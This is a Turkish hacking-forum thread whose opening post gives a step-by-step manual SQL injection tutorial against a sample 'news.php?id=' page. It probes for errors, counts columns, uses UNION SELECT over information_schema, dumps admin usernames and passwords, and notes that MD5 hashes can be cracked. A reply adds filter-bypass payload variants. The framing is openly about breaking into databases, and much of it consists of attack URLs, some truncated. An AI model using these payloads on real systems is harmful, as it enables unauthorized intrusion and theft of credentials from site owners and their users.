Konuyu Oyla:
  • Toplam: 0 Oy - Ortalama: 0
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: Manuel Sql Anlatım
Rife
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 3
Yaşam Puanı: 0 / 57
Deneyim: 31 / 100
Rep Sayısı: 0
Mesaj Sayısı: 21
Üyelik Tarihi: 14.02.2014
     
Yorum: #1
Manuel Sql Anlatım
15.02.2014 18:32
Selamun aleyküm arkadaşlar.


Karşımızda bir site var biz veritabanına sızıcaz
http://www.sql.com/news.php?id=7 —–> sitemiz bu ik olarak id değerimizin sonuna ‘ işareti koyarak sql sorgularını çalıştırıp çalıştırmadığını anlıyoruz. Eğerki hata verirse sql sorgularını çalıştırabiliyor demektir ve bizde bu sql sorgularıyla veritabanından bilgi çekebiliriz.
Hatamızı aldık nasıl olabilir bu hatalar ?
Sayfadaki veriler gelmeyebilir.
Sayfada anlamsız garip warning mysql include gibi şeyler yazar. Yani sql hataları görünür.
Hatamızıda aldığımıza göre tam gaz devam sırada kolon sayısını öğrenmekvar ve order+by+1 komutunu id değerimizin sonuna yazıyoruz:
http://www.sql.com/news.php?id=7+order+by+1 —> yazdık ve sayfadaki hatalar yeniden geldi ? Hönk nasıl lan gitmiyomuydu böyle


bazı sitelerde karşınıza çıkar arkadaşlar böyle olduğu zamanlar sorgumuzu şu şekilde devam ettireceğiz:
http://www.sql.com/news.php?id=7+order+by+1– sona koyduğum 2 tane tire dikkatinizi çeksin bu sql sorgularında kullanılır. yazdık ve ekran geri geldi tertemiz ilk günkü gibi şimdi artırıyorum kolon sayısını
http://www.sql.com/news.php?id=7+order+by+10– hata var
http://www.sql.com/news.php?id=7+order+by+9– hata var
http://www.sql.com/news.php?id=7+order+by+8– hata var
http://www.sql.com/news.php?id=7+order+by+7– sayfa aynen geldi
demekki kolon sayımız 7 ve bunu farklı bir sql sorgusu şeklinde tekrar yazalım:
http://www.sql.com/news.php?id=7+union+s...3,4,5,6,7– bazılarıda 0dan başlıyor o zaman şöyle oluyor söyleyim kafanız kaırşmasın:
http://www.sql.com/news.php?id=7+uni…,1,2,3,4,5,6–
her ikiside olur arkadaşlar yazdık sayfa geldi — yine koyduk bazı siteler o olmadan sonuç vermiyor çünkü şimdi devam ekran yine aynen geldi o zaman bi - daha kullanacağız:
http://www.sql.com/news.php?id=-7+union+...3,4,5,6,7–
dikkatli bakın id değerinin önüne - koydum ki id değerindeki veriler ekrandan gitsin bize yansıyan kolonları göstersin ve öylede oldu 3 – 5 – 7 bu kolonlar yansıdı ( her sitede farklı olur neden bende bunlar çıkmadı demeyin ) nasıl anlarız diye endişelenmenize gerek yok yazdığınız zaman onlar zaten kendini belli eder. şimdi bize tablo isimleri lazım sallamasyona hiç gerek yok mysql yapıyoruz sonuçta ( neden gerek yok : mysql 5 sistemlerdeinformation_schema diye bir database vardır bu databasenin içinde datalar hariç tüm sql veritabanı kayıtlıdır tablolar ve kolonlar gibi yani ) information_schema dbsindeki tables tablosundan table_name kolonunu çekicem ve bana tüm tablo isimlerini vericek:
http://www.sql.com/news.php?id=-7+union+...me),4,5,6, 7+from+information_schema.tables–

ama bi gariplik var olur tabi çünkü tüm tabloları göster dediğimizde information_schema ve diğer databaselerdeki tablolarıda gösterir bize lazım olan sadece kendi databasemizdeki tablolar bu yüzden sorguyu şu şekilde değiştiriyorum:
http://www.sql.com/news.php?id=-7+union+...me),4,5,6, 7+from+information_schema.tables where table_schema=database()–
normalde burada hex kodlarıylada databasemizi belirtiriz ama ona henüz gerek yok böyle yazsanızda olur. evet işte şimdi oldu bakın 3 kolonunun olduğu yerde diyorki adminuser,news,product,images,music bize burada adminuser tablosu lazım o zaman adminuser tablosundan veri çekeceğiz ama nasıl çekeceğiz kolonları bilmiyoruz ? cevap: kolonlarıda information_schema’dan çekicez bu sefer sorgum şu:
http://www.sql.com/news.php?id=-7+union+...ame),4,5,6 ,7+from+information_schema.columnswhere table_schema=database() and table_name=0x61646d696e75736572–
burada information_schema databasesindeki columns tablosundan column_name isimli kolondaki datayı çektim ama tüm kolonlar gelmemesi için biraz sınırlandırdım bu sınırlandırmalar where komutundan sonra başlıyor ilk olarak table_schema=database() bu diyorki databasemizdeki kolonları çek diğerlerini değil and table_name=0x61646d696e75736572 buda diyorki databasemizdekileri çek ve tablo ismi adminuser olan tablodaki kolonları çek 61646d696e75736572 bu yazılar hex kodlarıdır. hex encoder ve decoderlerde decode edince adminuser yazısını görürsünüz. hex kodları kullandığımız zaman kodların başına 0x koyarız sorguyu baştan sona anlattım
şimdi devam username,password,email falan geldi username ve password’u alalım
sorguyu dahada basitleştiriyoruz artık:
http://www.sql.com/news.php?id=-7+union+...,0x3a,pass word),4,5,6,7+from+adminuser–
bu sorguyuda anlatmama gerek yoktur diye düşünüyoruz ama group_concat‘ın içi hakkında biraz bilgi vereyim. group_concat istediğimiz verilerin tümünü çekmemizi sağlar yani ben username’yi group concatsız yazsam sadece bir tane gelir ama group_concat parantezinin içine alsam tüm veriler gelir. aynı zamanda virgül koyup farklı kolonlardaki bilgileride çekebiliriz karışmaması açısından bende aralarıda : ( ikinokta ) koydum 3a hex dilinde : demektir. 0x zaten hex kodlarının başında yer alıyordu gelen verilere bakalım:
admin:123456,sqladmin:7531598526542 2 tane adminimiz varmış bunu virgülden anladım çünkü sorguyu şöyle verdim:
önce adminin usernameyi ver araya : koy şifreyi ver.
sonrada virgül koyarak diğerlerini bu şekilde sıralamaya devam eder

Bazende şöyle gelir:


admin: e10adc3949ba59abbe56e057f20f883e
bu md5dir “e10adc3949ba59abbe56e057f20f883e” şifresini md5 crack yapan sitelere kırdırırsınız mesela bu md5 123456 nın kritpsudur. Her şifrenin farklı kriptosu olur.
Md5 encode edilebilen fakat decode edilemeyen bir kripto sistemidir. Ancak brute force yöntemleriyle kırılabilir
Alinti
Hacker Peyami
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 27
Yaşam Puanı: 332 / 664
Deneyim: 56 / 100
Rep Sayısı: 61
Mesaj Sayısı: 963
Üyelik Tarihi: 18.06.2013
      
Yorum: #2
Cvp: Manuel Sql Anlatım
15.02.2014 20:11
yeni başlayanlar için güzel bir konu sağol Smile
Alinti
L3on4ns
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 6
Yaşam Puanı: 5 / 145
Deneyim: 82 / 100
Rep Sayısı: 0
Mesaj Sayısı: 63
Üyelik Tarihi: 09.12.2013
      
Yorum: #3
Cvp: Manuel Sql Anlatım
15.02.2014 22:46
kardeşim konuda baya eksiiklikler var
mesela
http://www.sql.com/news.php?id=7+order+by+7 yaptık olmadı sonuna -- koyduk yine olmadı
eee sonrası
burayı ben tatmlayam
sonuna -- veya --x , [RED[+-- veya +OrDer+by+7[RED[+-- gibi gibi yaparız
http://www.sql.com/news.php?id=-7+union+...3,4,5,6,7– yapık ama yanısmadı eee n yapcağız
Şimdi http://www.sql.com/news.php?id=-7+union+...,5,6,7,8-- şeklinde yazdık ekrana kolon yansımadı.Bypass’ı devreye sokacaz hemen;
http://www.sql.com/news.php?id=-7+/*!uni...,5,6,7,8-- şeklinde /*!*/ ifadesini kullanarak bypass ediyoruz.Bu şekilde genelde ekrana kolon sayısı yansır.Ama bununda fayda etmediği yerler oluyor.O Vakit ;

http://www.sql.com/news.php?id=-7+union+...5,6,7,8--) veya http://www.sql.com/news.php?id=-7+//unio...,5,6,7,8-- yapıyoruz.Bu genelde fayda eder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz;

http://www.sql.com/news.php?id=-7+UnIon+...,5,6,7,8-- ,
http://www.sql.com/news.php?id=-7+#union...,5,6,7,8-- ,
http://www.sql.com/news.php?id=-7+/**/un...,5,6,7,8-- ,
http://www.sql.com/news.php?id=-7+/*unio...,5,6,7,8-- şekillerindede bu hataları aşmamız mümkündür
Alinti



1 Ziyaretçi